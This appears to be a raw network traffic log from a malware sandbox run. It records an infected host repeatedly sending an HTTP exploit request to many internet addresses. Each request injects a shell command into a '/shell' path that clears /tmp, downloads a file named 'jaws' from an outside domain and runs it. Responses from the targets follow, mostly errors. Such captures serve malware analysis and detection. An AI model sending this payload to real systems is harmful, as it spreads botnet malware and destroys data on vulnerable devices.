Apr 14, 2024 04:00:24.911540031 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 09:59:41 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.23	56604	161.111.63.218	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.592533112 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.23	47330	23.202.24.22	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.601892948 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:24.950977087 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:24 GMT Date: Sun, 14 Apr 2024 02:00:24 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 61 64 33 63 66 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 34 26 23 34 36 3b 32 61 61 63 64 31 39 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 61 64 33 63 66 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 34 26 23 34 36 3b 32 61 61 63 64 31 39 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4ad3cf17.1713060024.2aacd19b<P>https://errors.edgesuite.net/9.4ad3cf17.1713060024.2aacd19b</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.23	35042	78.47.233.99	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.607773066 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.23	55170	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.644963026 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:11Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.23	57072	147.47.116.116	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.882023096 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.832281113 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.688096046 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:31.559494019 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.982434988 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:53.828381062 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.056132078 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.23	57862	35.157.77.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.904149055 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.23	57226	52.49.43.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.919717073 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.246711969 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:25 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.23	41946	188.128.159.3	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.923757076 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.260997057 CEST	284	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 14 Apr 2024 02:00:25 GMT Content-Type: text/html Content-Length: 124 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.23	48720	193.22.248.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.943569899 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.286217928 CEST	589	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:00:25 GMT Server: Apache Location: https://www.bse-sofia.bg/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 276 Keep-Alive: timeout=5, max=120 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 73 65 2d 73 6f 66 69 61 2e 62 67 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.bse-sofia.bg/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.23	57440	45.207.75.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.985363007 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.311382055 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 09:59:42 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.23	42404	202.87.217.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.032249928 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.406197071 CEST	472	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:02:32 GMT Server: Apache/2.0.52 (Red Hat) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 30 2e 35 32 20 28 52 65 64 20 48 61 74 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.0.52 (Red Hat) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.23	50562	95.209.128.5	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.068777084 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.23	55362	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.328530073 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:11Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.23	35162	75.103.70.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.581403971 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.764934063 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:00:24 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have be
Apr 14, 2024 04:00:25.764945984 CEST	117	IN	Data Raw: 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 Data Ascii: en removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.23	40942	23.81.84.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.581547022 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:25.824268103 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.007076979 CEST	442	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:25 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML 